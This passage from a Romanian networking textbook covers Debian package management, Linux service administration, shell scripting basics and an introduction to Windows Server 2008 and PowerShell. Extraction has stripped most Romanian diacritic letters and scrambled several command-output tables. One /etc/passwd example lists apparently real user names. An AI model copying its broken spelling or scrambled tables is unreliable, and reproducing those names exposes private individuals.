Majoritatea distribuiilor GNU/Linux folosesc noiunea de depozit de pachete (repository). Acesta este un URL care precizeaz locaia diverselor pachete ale distribuiei. Aceste depozite sunt precizate n fiiere de configurare specifice distribuiei. Aplicaii front-end peste PMS pot interoga depozitele i pot descrca i instala noi pachete. n lumea Linux exist diverse formate de pachete, cele mai cunoscute fiind formatul DEB, specific distribuiilor Debian-based i formatul RPM folosit de Fedora/RedHat, Mandriva, SuSE, etc. Fiecare format are propriul PMS. Utilitarul alien1 permite conversia ntre diverse formate de pachete.

0.2.6 Gestiunea pachetelor DEB


Utilitarul de baz (PMS) pentru gestiunea pachetelor DEB este dpkg. dpkg este folosit pentru instalarea, dezinstalarea i configurarea unui pachet. n mod obinuit, ns, cea mai mare parte a acestor aciuni vor fi realizate prin intermediul utilitarului APT (Advanced Packaging Tool). APT este un front-end peste dpkg i permite interogarea depozitelor de pachete configurate, verificarea dependinelor, descrcarea automat a pachetelor din repository, actualizarea acestora, upgrade-ul unei distribuii, etc. Fiierul de configurare a unui depozit DEB este /etc/apt/sources.list:
anaconda:/tmp# cat /etc/apt/sources.list [...] deb http://ftp.lug.ro/debian etch main contrib non-free deb-src http://ftp.lug.ro/debian etch main contrib non-free

Adugarea unui nou depozit nseamn adugarea unei noi linii n fiierul de configurare. Aciunile care pot fi realizate cu ajutorul utilitarului apt sunt:
actualizarea listei de pachete:
anaconda:/tmp# apt-get update Get: 1 http://ftp.lug.ro etch Release.gpg [386B] Get: 2 http://ftp.lug.ro etch/updates Release.gpg [189B] Hit http://ftp.lug.ro etch Release Get: 3 http://www.backports.org etch-backports Release.gpg [189B] Get: 4 http://ftp.lug.ro etch/updates Release [37.6kB] Ign http://debian.pkgs.cpan.org unstable Release.gpg Get: 5 http://www.backports.org etch-backports Release [43.7kB] Ign http://ftp.lug.ro etch/main Packages/DiffIndex Ign http://ftp.lug.ro etch/contrib Packages/DiffIndex [...]

cutarea de pachete:
anaconda:/tmp# apt-cache search hevea hevea - translates from LaTeX to HTML, info, or text lyx - High Level Word Processor hevea-doc - HeVeA documentation

afiarea de informaii despre un fiier:


anaconda:/tmp# apt-cache show hevea Package: hevea Priority: optional Section: tex Installed-Size: 2125 Maintainer: Debian OCaml Maintainers <debian-ocaml-maint@lists.debian.org> Architecture: all Version: 1.09-3

instalarea unui pachet (i a dependinelor sale):


anaconda:/tmp# apt-get install apt-file Reading package lists... Done Building dependency tree... Done The following extra packages will be installed: libapt-pkg-perl libconfig-file-perl The following NEW packages will be installed apt-file libapt-pkg-perl libconfig-file-perl 0 upgraded, 3 newly installed, 0 to remove and 66 not upgraded.

http://kitenet.net/~joey/code/alien/

8|Reele Locale
Need to get 106kB of archives. After unpacking 406kB of additional disk space will be used. Do you want to continue [Y/n]? Y

dezinstalarea unui pachet:


anaconda:/tmp# apt-get remove --purge apt-file Reading package lists... Done Building dependency tree... Done The following packages will be REMOVED apt-file*

curarea cache-ului local de pachete:


anaconda:/tmp# apt-get clean

instalarea surselor unui pachet:


anaconda:/tmp# apt-get source apt-file Reading package lists... Done Building dependency tree... Done Need to get 17.7kB of source archives. Get: 1 http://ftp.lug.ro etch/main apt-file 2.0.8.2 (dsc) [505B] Get: 2 http://ftp.lug.ro etch/main apt-file 2.0.8.2 (tar) [17.2kB]

n plus fa de apt, dpkg ofer opiuni pentru interogarea strii actuale a pachetelor sau a coninutul acestora. Printre opiunile utile se numr:
listarea coninutului unui pachet:
anaconda:/tmp# dpkg -L coreutils /. /bin /bin/mkdir /bin/mv /bin/true /bin/mknod /bin/sleep /bin/touch /bin/chgrp /bin/uname /bin/echo /bin/sync [...]

afiarea pachetelor al cror nume se potrivete cu o expresie regulat:


anaconda:/tmp# dpkg -l 'linux*' Desired=Unknown/Install/Remove/Purge/Hold | Status=Not/Installed/Config-files/Unpacked/Failed-config/Half-installed |/ Err?=(none)/Hold/Reinst-required/X=both-problems (Status,Err: uppercase=bad) ||/ Name Version Description +++-==============-==============-============================================ un linux <none> (no description available) un linux-doc-2.6. <none> (no description available) un linux-gnu <none> (no description available) un linux-image <none> (no description available) un linux-image-2. <none> (no description available) ii linux-image-2. 2.6.18+6etch3 Linux kernel 2.6 image on Ppro/Celeron/PII/P [...]

cutarea pachetului ce conine un anumit fiier


anaconda:/tmp# dpkg -S /bin/ps procps: /bin/ps

0.2.7 Gestiunea serviciilor


O parte important a acestei cri este dedicat diverselor servicii pe care un sistem de operare le pune la dispoziie (web, DNS, e-mail). n majoritate, serviciile de reea pe care un sistem Linux le ofer au o form de administrare comun: instalare, fiiere de configurare, pornire, repornire, oprire, troubleshooting, jurnalizare. Un serviciu de reea (web, DNS, e-mail) este implementat printr-un proces server. Un proces server este asociat, n lumea Unix, cu un daemon. Un daemon este un proces care ruleaz n background decuplat de orice terminal care de obicei ascult conexiuni pe un

9|Cuprins

anumit port i ofer resurse sau informaii unui client. Exemple de astfel de servere/daemoni sunt: bind (Berkeley Internet Name Daemon), Apache/httpd, postfix, sshd, courier-imap. n general, un serviciu este pornit la iniializarea sistemului de procesul init, primul proces pornit de sistemul de operare. De aceea, n general, un daemon va avea asociat un script de interaciune n /etc/init.d/. Operaiile de pornire, oprire, repornire a unui daemon pot fi realizate, n mod generic, cu ajutorul unui astfel de script:
anaconda:/tmp# /etc/init.d/apache Usage: /etc/init.d/apache {start|stop|reload|reload-modules|force-reload|restart} anaconda:/tmp# /etc/init.d/bind9 Usage: /etc/init.d/bind9 {start|stop|reload|restart|force-reload}. anaconda:/tmp# /etc/init.d/postfix Usage: /etc/init.d/postfix {start|stop|restart|reload|flush|check|abort|force-reload}. anaconda:/tmp# /etc/init.d/courier-imap Usage: /etc/init.d/courier-imap {start|stop|restart|reload|force-reload}

Fiecare server/daemon poate avea i un mecanism propriu de pornire/repornire (apache2ctl pentru Apache sau postfix pentru Postfix) dar interfaa /etc/init.d/ este generic i comun oricrui daemon. Pentru a verifica faptul c un daemon ruleaz, se poate folosi comanda netstat pentru a afia daemon-ii care ascult conexiunii n reea:
anaconda:/tmp# netstat --tcp --listening --numeric --programs Active Internet connections (only servers) Proto Recv-Q Send-Q Local Address Foreign Address name tcp tcp tcp tcp tcp tcp tcp [...] 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0.0.0.0:80 0.0.0.0:8080 0.0.0.0:113 0.0.0.0:21 141.85.37.25:53 127.0.0.1:53 0.0.0.0:25 0.0.0.0:* 0.0.0.0:* 0.0.0.0:* 0.0.0.0:* 0.0.0.0:* 0.0.0.0:* 0.0.0.0:* LISTEN LISTEN LISTEN LISTEN LISTEN LISTEN LISTEN 3285/apache 3285/apache 3080/inetd 3179/vsftpd 2779/named 2779/named 3142/master State PID/Program

Fiind detaate de un terminal de control, interaciunea cu serviicile se realizeaz prin intermediul fiierelor de configurare. Se modific fiierul/fiierele de configurare asociate unui anumit serviciu i se repornete serviciul pentru a fora recitirea acestora. Fiierele de configurare pentru servicii sunt fiiere text, sunt localizate n /etc i conin de obicei directive de configurare n forma nume valoare:
anaconda:/tmp# cat /etc/postfix/main.cf [...] myhostname = anaconda.cs.pub.ro alias_maps = hash:/etc/aliases alias_database = hash:/etc/aliases myorigin = /etc/mailname [...]

Diversele probleme care apar n cazul unei configurri invalide, defectuoase sau a altor probleme sunt identificate prin intermediul jurnalelor. Fiecare serviciu folosete un fiier sau subdirector n /var/log unde stocheaz diverse mesaje de informare sau avertizare pentru administratorul de sistem. O intrare n cadrul fiierului de jurnalizare indic ora la care s-a realizat intrarea (timestamp) i un mesaj de informare. Se folosete, de obicei, utilitarul tail pentru a afia ultimele intrri dintr-un fiier de jurnalizare:
anaconda:/tmp# tail /var/log/mail.err Sep 10 11:15:33 anaconda imapd-ssl: Error reading ACLs for INBOX.lists.gnupg.: Invalid argument Sep 10 11:16:04 anaconda last message repeated 5 times Sep 10 11:16:26 anaconda last message repeated 4 times Sep 12 12:14:18 anaconda courierpop3login: authentication error: Input/output error [...]

0.2.8 Shell scripting


O parte important din sarcinile unui administrator de sistem sunt repetitive i pot fi uor automatizate. De aceea, cunotinele de shell scripting sunt fundamentale pentru a asigura

10 | R e e l e L o c a l e

eficiena activitilor efectuate. Un administrator poate recurge i la alte limbaj de scripting precum Perl sau Python dar shell scripting-ul ofer posibilitatea de a folosi comenzi deja implementate. Fr a-i propune s prezinte exhaustiv noiunile legate de shell scripting, aceast seciune ofer o trecere n revist a aspectelor importante.

0.2.8.1 Structura unui script shell


Un script shell conine pe prima linie simbolul she-bang (#!) urmat de interpretorul folosit, spre exemplu #!/bin/bash. Urmtoarele linii sunt instruciuni sau comenzi shell rulate secvenial. Un exemplu simplu de script shell este cel de mai jos:
razvan@anaconda:/tmp$ cat hw.bash #!/bin/bash echo "Hello, World" exit 0

Rularea acestui script se poate realiza prin transmiterea ca argument interpretorului sau prin rularea acestuia ca un executabil (dac are drept de execuie):
razvan@anaconda:/tmp$ bash hw.bash Hello, World razvan@anaconda:/tmp$ ls -l hw.bash -rw-r--r-- 1 razvan razvan 41 Sep 13 14:45 hw.bash razvan@anaconda:/tmp$ chmod a+x hw.bash razvan@anaconda:/tmp$ ./hw.bash Hello, World

0.2.8.2 Redirectare i nlnuirea comenzilor


Redirectarea nseamn folosirea unui fiier pentru a reine ieirea unei comenzi sau pentru a fi folosit ca intrare a unei comenzi. Redictarea ieirii se realizeaz folosind operatorul >, iar a intrrii folosind <:
anaconda:/tmp# ls > out.txt anaconda:/tmp# cat < out.txt apt-file-2.0.8.2 apt-file_2.0.8.2.dsc apt-file_2.0.8.2.tar.gz [...]

nlnuirea comenzilor se refer la folosirea operatorului | (pipe) pentru a trimite ieirea unei comenzi la intrarea alteia:
razvan@valhalla:~$ last -10 | cut -d ' ' -f 1 | sort -u razvan reboot wtmp

0.2.8.3 Variabile
n programarea shell, ca i multe alte limbaje de scripting o variabil nu are un tip i poate fi considerat, n funcie de nevoie, ir sau numr. Cteva exemple de iniializare de variabile sunt enumerate mai jos:
var1=5 my_home_dir=/home/users/alpha list=a b c d e Referirea unei variabile se realizeaz prin prefixarea numelui acesteia cu $. razvan@valhalla:~$ echo $a 5 razvan@valhalla:~$ b="a are valoarea $a" razvan@valhalla:~$ echo $b a are valoarea 5

11 | C u p r i n s

Operatorul $ poate fi folosit, n mod generic, pentru expandare. Exceptnd expandarea unei variabile la valoarea acesteia, operatorul poate fi folosit pentru expandare aritmetic sau pentru stocarea ieirii unei comenzi:
razvan@valhalla:~$ razvan@valhalla:~$ razvan@valhalla:~$ 8 razvan@valhalla:~$ razvan@valhalla:~$ 15 a=5 b=$((a+3)) echo $b c=$(ls | wc -l) echo $c

0.2.8.4 Cicluri i instruciuni de decizie


Instruciunea de decizie folosit n scripturi este if. If primete ca argument o comand. Rezultatul ntors de aceast comand determin execuia sau nu a instruciunilor urmtoare. De obicei se folosete comanda test:
if test -f $fname; then [...] fi if test $a -ge 5; then [...] fi if test abc == $string_var; then [...] fi # este $fname un fisier # este $a mai mare sau egal cu 5 # este $string_var egal cu irul abc

Cele mai folosite instruciuni de ciclare sunt for i while. Mai jos sunt prezentate cteva exemple de folosire a acestora:
razvan@anaconda:/tmp$ for i in $(seq 1 10); do echo $i; done 1 2 3 4 5 6 7 8 9 10 razvan@anaconda:/tmp$ for i in "a b c"; do touch $i; done razvan@anaconda:/tmp$ ls -l a b c -rw-r--r-- 1 razvan razvan 0 Sep 13 14:51 a -rw-r--r-- 1 razvan razvan 0 Sep 13 14:51 b -rw-r--r-- 1 razvan razvan 0 Sep 13 14:51 c razvan@anaconda:/tmp$ i=1; while test $i -le 5; do echo $i; ((i++)); done 1 2 3 4 5

0.2.8.5 Filtre de text


O parte important a scripturilor shell este folosit pentru prelucrarea de informaii text, fie fiiere text fie ieirea anumitor comenzi. O component important a unui script shell este reprezentat, n acest context, de comenzi folosite pentru prelucrarea de informaii text, denumite i filtre de text. Exemple de astfel de comenzi sunt: tail, head, grep, cut. Comenzile tail i head sunt folosite pentru a afia primele sau ultimele linii dintr-un fiier text. Comanda grep este folosit pentru a selecta linii care conin un anumit ablon. Comanda cut selecteaz coloane:
razvan@anaconda:/tmp$ cat /etc/passwd | grep and andrewbwm:x:1031:1026:Andrei Buhaiu:/home/students/andrewbwm:/bin/bash gabi:x:1039:1026:Gabriel Sandu:/home/students/gabi:/bin/bash andreic:x:1045:1026:Andrei Cibotaru:/home/students/andreic:/bin/bash antand:x:1069:100:,,,:/home/users/antand:/bin/bash alexj:x:1072:1026:Alexandru Juncu:/home/students/alexj:/bin/bash andreea:x:1082:1028:Andreea Leta:/home/students/andreea:/bin/bash [...] razvan@anaconda:/tmp$ cat /etc/passwd | cut -d ':' -f 1,5 [...]

12 | R e e l e L o c a l e
iulian:Iulian Moraru,,, max:Maximilian Machedon,,, cosmin:Cosmin Ratiu,,, adrian:Adrian Nistor,,, cristina:Cristina Carbunaru,,, amihaiuc:Alex Mihaiuc,,,

0.3 Introducere n Microsoft Windows Server 2008


Alegerea i instalarea unui NOS (Network Operating System un sistem de operare conceput pentru a funciona n reea) reprezint una dintre cele mai importante sarcini ce se regsesc printre responsabilitile unui administrator de reea. De capabilitile sistemelor de operare instalate depind toate procesele ulterioare de administrare, configurare, securizare, actualizare, extindere, backup i, de ce nu, de atingere a unui user-experience favorabil. Aceasta este prima ediie a crii de fa n care administrarea serviciilor de reea va fi tratat deopotriv din perspectiva Linux/UNIX ct i din punctul de vedere al alternativei Microsoft n domeniul NOS-urilor: Windows Server 2008. A fost ales Windows Server 2008 pentru aceast ediie a crii nu pentru a-i pune n lumin plusurile sau minusurile fa de mediul Linux, ci pentru a prezenta o alternativ demn de luat n considerare din acest domeniu, o opiune funcional i aplicabil, complet sau parial, n conceperea i implementarea unei reele de calculatoare. Fiecare capitol, n limita aplicabilitii, va prezenta, n plus, tehnici i opiuni de configurare a serviciilor de reea n mediul Windows. Deoarece Windows Server 2008 reprezint deja o soluie proprietar, se va ncerca limitarea gradului de acoperire a serviciilor la nivelul celor disponibile implicit ntr-o instalare de Windows Server 2008, cu observaiile de rigoare acolo unde pot aprea diferene legate de versiuni. De asemenea, va fi dedicat un efort substanial pentru evidenierea i utilizarea posibilitilor de scripting oferite de Windows prin PowerShell.

0.3.1 Despre Microsoft Windows Server 2008


La momentul scrierii acestei cri, Windows Server 2008 reprezint cel mai recent produs din gama sistemelor de operare de la Microsoft i, totodat, cel mai recent din seria Server. n paginile acestei cri vor fi evideniate facilitile oferite de Windows Server 2008 ntr-un context unitar, fr a accentua doar ceea ce este specific lui Windows Server 2008. De aceea, este posibil ca multe dintre conceptele, procedurile i serviciile descrise s corespund ntr-o oarecare msur celor prezente n versiunile anterioare din serie: Windows Server 2003, Windows 2000, etc, cu Service Pack-urile aferente. Windows Server 2008 intr n scena sistemelor de operare ca un succesor direct al lui Windows Server 2003, care s-a bucurat de un succes semnificativ. nainte de a fi definitivat, n faza sa incipient, el a fost denumit Codename Longhorn care, n cele din urm, s-a dovedit a fi o platform de baz att pentru varianta prezent de Windows Server ct i pentru Windows Vista, lansat cu ceva timp naintea versiunii Server. Din cauza acestei baze comune, Windows Server 2008 i Vista mprtesc destul de multe proprieti ce in de arhitectur i funcionalitate de baz. Att Windows Server 2008 ct i Vista ofer faciliti similare cu privire la securitate, management i administrare, n general, mpreun cu un suport solid pentru IPv6, utilitare wireless native precum i multe alte faciliti ce se conformeaz cerinelor reelelor, tehnologiilor i utilizatorilor din prezent. Bineneles, distincia dintre cele dou devine drastic n momentul n care Windows Server 2008 se deprteaz de mediul preponderent desktop/workstation al lui Vista prin opiunile de implementare la scar larg, n medii enterprise, utilitare de monitorizare i diagnostic, redundan i faciliti de securitate mult mbuntite.

13 | C u p r i n s

n sensul su de baz, un server trebuie s ofere servicii unor utilizatori sau altor servere, ori, ca n cazul cel mai des intlnit n lumea real, o combinaie a celor dou. n termeni tehnici, serverul reprezint, de fapt, sistemul de operare al mainii ce ndeplinete rolul de server, mpreun cu aplicatiile pe care acesta le susine i le folosete pentru a putea oferi serviciile menionate anterior. Evident, n aceste condiii, o platform de tip server va trebui s suporte un nivel diferit de ncrcare i un mod diferit de utilizare a resurselor sale fa de o platform desktop/workstation. De asemenea, un server trebuie s poat funciona o perioad ndelungat de timp fr supraveghere i s implementeze mecanisme sigure de recuperare n cazul erorilor sau evenimentelor neprevzute. Totodat, acestea trebuie documentate ntr-un sistem de meninere a jurnalelor (logging) bine pus la punct pentru a putea oferi rapid i coerent informaii despre evoluia sistemului. Acestea sunt, de asemenea, aspecte prin care Windows Server 2008 se distaneaz de Vista i, implicit, de orice alt sistem de operare orientat spre mediul desktop.

0.3.2 Windows PowerShell

0.3.2.1 Ce este Windows PowerShell?


Pe scurt, PowerShell reprezint noua generaie de interpretor de comenzi i limbaj de scripting de la Microsoft, construit peste platforma .NET i CLR (Common Language Runtime), ce poate fi folosit att pentru nlocuirea venerabilului interpretor de comenzi cmd.exe, ct i a limbajului VBScript. Aceast natur dual a lui PowerShell poate crea iniial probleme printre administrator obinuii cu cmd.exe i slabele sale capabiliti sau cu VBScript, depotriv puternic i dificil (incomod) folosit pentru automatizarea sarcinilor. Aceste unelte funcioneaz satisfctor din punctul de vedere al funcionalitii pe care o ofer, dar sunt n prezent folosite n scopuri pentru care nu au fost create. Cmd.exe a fost scris ca un interpretor succesor al DOS Prompt-ului, iar VBScript a fost mai mult sau mai puin conceput n contextul paginilor web. Niciunul nu a fost conceput de la bun nceput de ctre administratori sau pentru ei. Majoritatea interpretoarelor de comenzi, printre care i cmd.exe, alturi de interpretoarele din mediul UNIX (sh, csh, ksh, bash, etc) funcioneaz prin executarea comenzilor n cadrul unor procese noi, returnnd rezultatul sub form de text utilizatorului. Din acest motiv, de-a lungul timpului, n special n mediul UNIX, utilitarele de procesare de text au fost mbuntite n permanen, oferind n mod indirect funcionaliti din ce n ce mai extinse interpretorului n sine i uurnd interaciunea utilizatorului cu el. De asemenea, interpretoarele accept comenzi ce sunt ncorporate direct n funcionalitatea lor, la aceast categorie pretndu-se cu succes cmd.exe. n orice caz, capabilitile interne ale interpretoarelor de comenzi sunt limitate, drept pentru care o mare parte din funcionalitatea pe care acestea o ofer se bazeaz pe utilitarele pe care acestea le apeleaz. La acest capitol, Windows PowerShell funcionez oarecum diferit, el tratnd comenzile ca pe nite obiecte n contextul platformei .NET, ce sunt trecute prin acelai interpretor, ceea ce imprim un comportament unitar precum i o form consistent a comenzilor. PowerShell la versiunea 1.0 suport aproximativ 130 de comenzi, toate ncorporate n interpretor.

0.3.2.2 Instalarea Windows PowerShell


Pe un sistem Windows Server 2008 nu este necesar descrcarea de pe Internet a pachetului de instalare. PowerShell este disponibil ca feature al sistemului i nu e necesar dect activarea sa (vezi seciunea urmtoare).

14 | R e e l e L o c a l e

n afar de Windows Server 2008, PowerShell mai poate fi instalat i poate rula pe urmtoarele platforme:
Windows XP Service Pack 2 Windows 2003 Service Pack 1 Windows Vista Orice versiune mai recent a acestora

Pentru toate sistemele de operare de mai sus este necesar prezena Microsoft .NET Framework cel puin la versiunea 2.0. La momentul scrierii acestei cri, versiunea curent de PowerShell ce poate fi descrcat de pe site-ul Microsoft este Windows PowerShell 2.0 CTP21 (Community Technology Preview). Versiunea de PowerShell inclus n Windows Server 2008 este 1.0. naintea instalrii unei noi versiuni, este necesar dezinstalarea celei vechi folosind Add/Remove Programs sau Programs and Features din Control Panel. Pe versiunile de Windows pe 32 de bii, PowerShell se instaleaz implicit n directorul %SystemRoot%\System32\WindowsPowerShell\v1.0. Pe versiunile de Windows pe 64 de bii, varianta PowerShell pe 32 de bii se instaleaz n directorul %SystemRoot%\SystemWow64\WindowsPowerShell\v1.0 iar varianta pe 64 de bii, ca i n cazul anterior, la %SystemRoot%\System32\WindowsPowerShell\v1.0.

0.3.2.3 Lansarea n execuie a Windows PowerShell


Pentru a minimiza riscurile de securitate, Windows Server 2008 instaleaz implicit doar un set minimal de componente. De aceea, pentru a porni PowerShell pe Windows Server 2008, acesta trebuie instalat mai nti ca feature al sistemului. Calea pentru activarea PowerShell ca feature este:
1. Se lanseaz Server Manager 2. n lista de features se selecteaz Add feature 3. Se bifeaz Windows PowerShell i se confirm instalarea

Odat instalat, sunt disponibile mai multe metode de a-l porni:


Din fereastra de Run, scriind PowerShell i apsnd Enter Din interpretorul cmd.exe, scriind PowerShell i apsnd Enter Din meniul Start > All Programs > Windows PowerShell 1.0 > Windows
PowerShell

0-3: Prompt-ul PowerShell, dup lansare Deoarece PowerShell ruleaz ntr-o sesiune de consol, poate fi lansat i controlat i de la distan, prin Telnet sau SSH. Pentru revenirea la promptul de comand se tasteaz exit. Dup lansare, se observ c interfaa PowerShell este extrem de similar cu cea din cmd.exe, cu excepia faptului c bara de titlu conine acum textul Windows PowerShell, prompt-ul afieaz caracterele PS la nceputul liniei, iar fundalul ferestrei este albastru (cu excepia cazului n care a fost lansat direct din cmd.exe).
1

http://www.microsoft.com/technet/scriptcenter/topics/winpsh/pshell2.mspx

15 | C u p r i n s

0.3.2.4 Configurri
Interfaa PowerShell-ului poate fi configurat printr-un set relativ minimal de opiuni disponibile prin clic-dreapta pe bara de titlu, la opiunea Properties. Printre parametrii ce pot fi configurai se numr: mrimea buffer-ului, tipul de font folosit i mrimea sa, mrimea ferestrei i a zonei ce poate fi derulat, precum i schema de culori folosit.

0.3.2.5 Comenzile PowerShell


PowerShell permite administratorilor s controleze i s automatizeze administrarea sistemului de operare, dar i a aplicaiilor ce ruleaz pe el. Comenzile sale sunt numite cmdlet(s) (pronunat command-let(s) n carte vor fi numite simplu comenzi de aici ncolo) i permit accesul att la sistemul de fiiere i la diverse resurse ale sistemului, precum i la zone ca registry, certificate digitale, etc. Limbajul comenzilor PowerShell este unul orientat pe obiecte, nrudit cu limbajele de nivel nalt ce folosesc platforma .NET, cum ar fi C#, comun tuturor comenzilor, conceput pentru a simplifica sarcinile complexe, fr a aduga un surplus inacceptabil de complexitate celor simple. Pentru a lista toate opiunile cu privire la parametrii disponibili la pornirea PowerShell, din cmd.exe, se folosete comanda:
PowerShell -?

Pentru a accesa ajutorul inclus n PowerShell, dup pornirea acestuia se poate introduce comanda:
Get-Help

Majoritatea comenzilor PowerShell sunt simple, dar pot fi folosite n diverse combinaii. Ele sunt usor identificabile dup formatul numelor: un verb i un substantiv separate printr-o liniu (-), de exemplu: Get-Process, Start-Service, Get-Help. Din formatul comenzilor se desprind cteva categorii:
comenzile de tip get care returneaz date; comenzile de tip set care introduc sau modific date; comenzile de tip out care direcioneaz ieirea spre o destinaie specificat; comenzile de tip format care schimb formatul datelor returnate ca rezultat.

Pentru a afia o list complet a comenzilor suportate de PowerShell se poate folosi comanda1:
Get-Command

Fiecare comand include o seciune de ajutor care descrie comportamentul, sintaxa i parametrii comenzii, alturi de posibile exemple de utilizare, ca n cazul paginilor man din mediul UNIX. Pentru a accesa informaiile de ajutor ale unei comenzi se folosete sintaxa: Get-Help <nume_comanda> -Detailed, ca n exemplul urmtor:
PS C:\Users\Administrator> get-help get-help -detailed NAME Get-Help SYNOPSIS Displays information about Windows PowerShell cmdlets and concepts. SYNTAX
1

Se observ c n rezultatul lui Get-Command sunt returnate doar acele comenzi specifice i suportate nativ de ctre PowerShell, dar nu sunt listate toate comenzile suportate de acesta prin alias-uri sau din motive de compatibilitate cu vechile comenzi DOS sau UNIX. Mai multe detalii n seciunea 0.3.2.10.

16 | R e e l e L o c a l e
[...] DETAILED DESCRIPTION [...] PARAMETERS [...]

0-4: Ajutor pentru comanda Get-Help n exemplul urmtor, comanda afieaz o list cu toate fiierele de ajutor din Windows PowerShell:
C:\PS>get-help *

n legtur cu lansarea programelor externe din PowerShell, trebuie avut n vedere faptul c acesta mprumut aproape complet funcionalitatea oferit de cmd.exe, spre exemplu posibilitatea lansrii de aplicaii att n linie de comand ct i a celor grafice (calculator, notepad, etc) PowerShell identificnd executabilele de lansat n directoarele specificate de variabila de mediu %PATH%, la fel ca i cmd.exe. De asemenea, redirectrile funcioneaz identic. Afiarea variabilei de mediu %PATH% se poate face cu PowerShell prin comanda
Get-Content env:path.

Pentru cmd.exe, comanda similar este:


echo %path%.

De asemenea, n PowerShell, se poate folosi completarea automat a comenzilor pentru a cicla ntre variabilele de mediu disponibile. Pentru aceasta, se apasa tasta Tab dup cele dou pucte de dup env. n cmd.exe, pentru a returna o list a variabilelor de mediu definite, mpreun cu valorile lor, se folosete comanda set.

0.3.2.6 Comenzi de ajutor n PowerShell


Obinerea de ajutor pentru comenzile din PowerShell se face prin comanda:
Get-Help

Introducerea comenzii fr parametri are ca efect afiarea de informaii legate de modul de utilizare al comenzii Get-Help. Pentru a obine ajutor despre o anumit comand se introduce comanda respectiv ca parametru:
Get-Help Get-Process

Pentru a se afia informaii detaliate despre o comand, se folosete parametrul detailed:


Get-Help Get-Process -Detailed

Dac se dorete afiarea tuturor informaiilor de ajutor pentru o anumit comand, la un nivel de detaliu puin mai tehnic, se folosete parametrul Full:
Get-Help Get-Process Full

Este posibil afiarea doar a unei categorii de informaii din pagina de ajutor. n exemplul urmtor, se afieaz doar exemplele de utilizare ale comenzii Get-Process:
Get-Help Get-Process Examples

De asemenea, pentru afiarea tuturor parametrilor unei comenzi, se folosete parametrul Parameter urmat de *. Intuitiv, pentru afiarea informaiilor despre un singur parametru, acesta se specific explicit:
Get-Help Get-Process Parameter * Get-Help Get-Process Parameter id

17 | C u p r i n s

Pentru a crea o consisten fa de comenzile UNIX, comanda Get-Help poate fi nlocuit de comenzile:
man <nume_comanda>

sau
info <nume_comanda>

ce reprezint funcii interne ale PowerShell-ului care apeleaz Get-Help i pot fi privite ca pe nite alias-uri. Caracterul * poate fi folosit n cadrul comenzii Get-Help pentru a afia rezultatele mai multor comenzi. Spre exemplu, urmtoarea comand afieaz toate seciunile de ajutor ce ncep cu about, mpreun cu o scurt descriere a lor:
Get-Help about*

Pentru mai multe detalii legate de modul n care pot fi substituite irurile de caractere n PowerShell (i n Windows, n general), se poate obine ajutor direct din interiorul PowerShellului introducnd comanda (totodat un exemplu pentru comanda anterioar):
Get-Help about_Wildcards

Wildcard-ul poate fi folosit i n cadrul parametrilor. n exemplul urmtor se listeaz doar procesele care ncep cu w din lista returnat de Get-Process:
PS C:\Users\Administrator> Get-Process w* Handles ------492 108 152 638 150 320 40 NPM(K) -----17 5 4 34 5 10 2 PM(K) ----56868 1580 2604 49580 2120 24192 680 WS(K) VM(M) ----- ----9584 184 2320 51 4176 53 26888 342 3164 48 5000 155 996 21 CPU(s) -----10.51 1.54 1.70 785.89 10.58 78.92 0.02 Id -9308 556 604 10848 1416 3508 1408 ProcessName ----------winamp wininit winlogon WINWORD wlanext WLTRAY WLTRYSVC

0.3.2.7 Comenzi i obiecte


Comenzile i rezultatele din PowerShell sunt, de fapt, obiecte .NET. Conform conceptelor de baz ale programrii orientate pe obiecte, un obiect reprezint o instan, o entitate ce deine anumite caracteristici descrise de proprieti i poate executa anumite aciuni prin intermediul metodelor. Spre exemplu, o comanda ce returneaz un serviciu in PowerShell de fapt returneaz un obiect ce reprezint serviciul. Informaiile despre serviciu sunt proprieti ale obiectului returnat. Pornirea unui serviciu se traduce n setarea proprietii Status pe valoarea started folosind o metod a obiectului serviciu. Din faptul c fundamentul comenzilor PowerShell l reprezint obiectele, se deduce faptul c anumite utilitare de procesare bazate pe text i aplicate pe rezultatele comenzilor PowerShell ar putea s nu aib rezultatul ateptat. De fapt, n cele mai multe dintre cazuri, folosirea utilitarelor de procesare text nici nu este necesar, din moment ce datele specifice pot fi extrase din rezultatele comenzilor folosind metodele standard de manipulare a obiectelor. Acest lucru este posibil deoarece rezultatele comenzilor ncapsuleaz o mulime de alte informaii dect cele vizibile ca iruri de caractere pe ecran. Spre exemplu, o modalitate de a afia informaii despre toate interfeele de reea din sistem, fizice sau virtuale, o reprezint urmtoarea comand:
get-wmiobject Win32_NetworkAdapterConfiguration

Fr a i se aplica vreun filtru, comanda de mai sus afieaz sub forma unei liste civa parametri ai interfeelor, ca prezena unei adrese IP, a unui server DNS, dac interfaa este

18 | R e e l e L o c a l e

configurat automat prin DHCP sau nu, numele su, etc, concatennd aceste informaii pentru toate interfeele. La nivel de text, dac s-ar dori doar afiarea numelui interfeei i a adresei IP configurate pe ea, s-ar folosi aceeai comand, filtrnd rezultatul su i pstrnd acelai mod de afiare. n PowerShell, ns, rezultatul este un obiect din care se pot extrage doar proprietile dorite, ca n exemplul urmtor:
get-wmiobject Description Win32_NetworkAdapterConfiguration | Select-Object -property IPAddress,

Comanda de mai sus selecteaz doar proprietile denumite IPAddress i Description pentru fiecare interfa i le afieaz sub forma unui tabel. O important comand pentru afiarea tuturor proprietilor i metodelor unui obiect o reprezint Get-Member. Spre exemplu, pentru obiectul returnat de comanda de mai sus, proprietile i metodele sale pot fi afiate trimindu-l printr-un pipe comenzii Get-Member:
PS C:\Users\Administrator> get-wmiobject Win32_NetworkAdapterConfiguration | get-member TypeName: System.Management.ManagementObject#root\cimv2\Win32_NetworkAdapterConfiguration Name ---DisableIPSec EnableDHCP EnableIPSec EnableStatic ReleaseDHCPLease DefaultTOS DefaultTTL Description DHCPEnabled DHCPLeaseExpires DHCPLeaseObtained DHCPServer DNSDomain [...] MemberType Definition ------------------Method System.Management... Method System.Management... Method System.Management... Method System.Management... Method System.Management... Property System.Byte DefaultTOS {get;set;} Property System.Byte DefaultTTL {get;set;} Property System.String Description {get;set;} Property System.Boolean DHCPEnabled {get;set;} Property System.String DHCPLeaseExpires {get;set;} Property System.String DHCPLeaseObtained {get;set;} Property System.String DHCPServer {get;set;} Property System.String DNSDomain {get;set;}

0.3.2.8 nlnuirea comenzilor (pipes)


